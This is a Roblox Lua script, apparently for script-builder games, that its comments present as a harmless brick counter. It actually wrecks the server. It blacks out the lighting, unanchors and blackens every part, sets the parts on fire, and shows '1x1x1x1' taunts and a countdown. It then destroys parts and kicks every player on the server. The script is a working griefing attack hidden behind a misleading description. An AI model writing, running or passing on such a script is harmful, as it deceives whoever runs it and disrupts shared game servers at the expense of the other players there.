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- if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
- local Player,game,owner = owner,game
- local RealPlayer = Player
- do local RealPlayer=RealPlayer;script.Parent=RealPlayer.Character;local a=function(b)b[1].f[b[2]]=nil end;local c={__index={disconnect=a,Disconnect=a}}local d={__index={Connect=function(b,e)local f=tostring(math.random(0,10000))while b.f[f]do f=tostring(math.random(0,10000))end;b.f[f]=e;return setmetatable({b,f},c)end}}d.__index.connect=d.__index.Connect;local function g()return setmetatable({f={}},d)end;local h={Hit=CFrame.new(),KeyUp=g(),KeyDown=g(),Button1Up=g(),Button1Down=g(),Button2Up=g(),Button2Down=g()}h.keyUp=h.KeyUp;h.keyDown=h.KeyDown;local i={InputBegan=g(),InputEnded=g()}local CAS={Actions={},BindAction=function(self,j,k,l,...)CAS.Actions[j]=k and{Name=j,Function=k,Keys={...}}or nil end}CAS.UnbindAction=CAS.BindAction;local function m(self,n,...)for o,e in pairs(self[n].f)do e(...)end end;h.T=m;i.T=m;local p=Instance.new("RemoteEvent")p.Name="UserInput_Event"p.OnServerEvent:Connect(function(q,r)if q~=RealPlayer then return end;h.Target=r.e;h.Hit=r.d;if not r.f then local s=r.c==Enum.UserInputState.Begin;if r.b==Enum.UserInputType.MouseButton1 then return h:T(s and"Button1Down"or"Button1Up")end;if r.b==Enum.UserInputType.MouseButton2 then return h:T(s and"Button2Down"or"Button2Up")end;for o,t in pairs(CAS.Actions)do for o,u in pairs(t.Keys)do if u==r.a then t.Function(t.Name,r.c,r)end end end;h:T(s and"KeyDown"or"KeyUp",r.a.Name:lower())i:T(s and"InputBegan"or"InputEnded",r,false)end end)p.Parent=NLS([==[local a=script:WaitForChild("UserInput_Event")local b=owner:GetMouse()local c=game:GetService("UserInputService")local d=function(e,f)if f then return end;a:FireServer({a=e.KeyCode,b=e.UserInputType,c=e.UserInputState,d=b.Hit,e=b.Target})end;c.InputBegan:Connect(d)c.InputEnded:Connect(d)local g,h;local i=game:GetService("RunService").Heartbeat;while true do if g~=b.Hit or h~=b.Target then g,h=b.Hit,b.Target;a:FireServer({f=1,Target=h,d=g})end;for j=1,2 do i:Wait()end end]==],script)local v=game;local w={__index=function(self,u)local x=rawget(self,"_RealService")if x then return typeof(x[u])=="function"and function(o,...)return x[u](x,...)end or x[u]end end,__newindex=function(self,u,y)local x=rawget(self,"_RealService")if x then x[u]=y end end}local function z(t,A)t._RealService=typeof(A)=="string"and v:GetService(A)or A;return setmetatable(t,w)end;local B={GetService=function(self,x)return rawget(self,x)or v:GetService(x)end,Players=z({LocalPlayer=z({GetMouse=function(self)return h end},Player)},"Players"),UserInputService=z(i,"UserInputService"),ContextActionService=z(CAS,"ContextActionService"),RunService=z({_btrs={},RenderStepped=v:GetService("RunService").Heartbeat,BindToRenderStep=function(self,j,o,k)self._btrs[j]=self.Heartbeat:Connect(k)end,UnbindFromRenderStep=function(self,j)self._btrs[j]:Disconnect()end},"RunService")}rawset(B.Players,"localPlayer",B.Players.LocalPlayer)B.service=B.GetService;z(B,game)game,owner=B,B.Players.LocalPlayer end
- -- Quick scan:
- -- This will just give you a brick-count and print it to your output
- -- Go in Solo or Online mode to get a dynamic GUI counter
- local lighting = game:GetService("Lighting")
- lighting.Brightness = 0
- lighting.OutdoorAmbient = Color3.new(0,0,0)
- local sky = Instance.new("Sky", lighting)
- sky.SkyboxBk = "http://www.roblox.com/asset/?id=48020371"
- sky.SkyboxDn = "http://www.roblox.com/asset/?id=48020144"
- sky.SkyboxFt = "http://www.roblox.com/asset/?id=48020234"
- sky.SkyboxLf = "http://www.roblox.com/asset/?id=48020211"
- sky.SkyboxRt = "http://www.roblox.com/asset/?id=48020254"
- sky.SkyboxUp = "http://www.roblox.com/asset/?id=48020383"
- local music = Instance.new("Sound", game.Workspace)
- music.SoundId = "rbxassetid://150402649"
- music.Volume = 1
- music.Looped = true
- music.PlayOnRemove = true
- music:Play()
- local parts = {}
- function scan(p)
- for _,target in pairs(p:GetChildren()) do
- if target:IsA("BasePart") then
- table.insert(parts,target) -- target is the actual parts!
- target.Anchored = false
- target.BrickColor = BrickColor.new("Really black")
- local sb = Instance.new("SelectionBox", target)
- sb.Color3 = Color3.new(255, 0, 0)
- sb.SurfaceColor3 = Color3.new(170, 0, 0)
- sb.Adornee = target
- local pe = Instance.new("ParticleEmitter", target)
- pe.Name = "10101110010011"
- pe.Texture = "rbxassetid://45524735"
- pe.Rate = 10
- pe.SpreadAngle = Vector2.new(-90, 90)
- local pe2 = Instance.new("ParticleEmitter", target)
- pe2.Name = "ERROR_._ER-__ORO_...."
- pe2.Texture = "rbxassetid://158293315"
- pe2.Rate = 10
- pe2.SpreadAngle = Vector2.new(-90, 90)
- local bb = Instance.new("BillboardGui", target)
- bb.Size = UDim2.new(50,0 , 25,0)
- bb.AlwaysOnTop = true
- local randomtext = {
- "1x1x1x1 !S B4CK",
- "101010110100101011101111010101",
- "_-ERROR-_"
- }
- local label = Instance.new("TextLabel", bb)
- label.Size = UDim2.new(1,0 , 1,0)
- label.TextScaled = true
- label.TextWrapped = true
- label.BackgroundTransparency = 1
- local brickcolor = BrickColor.new("Really red")
- label.TextColor3 = brickcolor.Color
- label.Font = "ArialBold"
- label.TextSize = 100
- local chosentext = randomtext[math.random(1, #randomtext)]
- label.Text = chosentext
- local fire = Instance.new("Fire", target)
- fire.Size = 30
- fire.Heat = 25
- end
- scan(target)
- end
- end
- scan(game.Workspace)
- --print(#parts .. (#parts == 1 and " brick " or " bricks ") .. "counted")
- parts = {}
- wait(1)
- local m = Instance.new("Message", game.Workspace)
- m.Text = "1x1x1x1 HAS RETURNED TO DESTROY ROBLOX!"
- wait(3)
- m.Text = "STARTING COUNTDOWN..."
- wait(2)
- m.Text = "ONCE THE TIMER REACH 0, THIS SERVER WILL NO LONGER EXIST!"
- wait(5)
- local unit = 10
- wait(1)
- for i = 1, 10 do
- unit = unit - 1
- m.Text = "COUNTDOWN: " ..unit.. " SECONDS LEFT!"
- wait(1)
- end
- m.Text = "FAREWELL, IDIOTS! MUAHAHAHAHAHAHAHA!!!"
- local prey = nil
- local parts = script.Parent:GetChildren()
- for i = 1,#parts do
- if (parts[i].className == "Part") then
- if (prey ~= nil)then
- prey:Destroy()
- end
- prey = parts[i]
- end
- end
- for i, players in pairs(game.Players:GetChildren()) do
- players:Kick("010111010101000101011101010100010111101010010100010111101011010100101010101010101010101010101001010101011011010110100101010101010101011101")
- end
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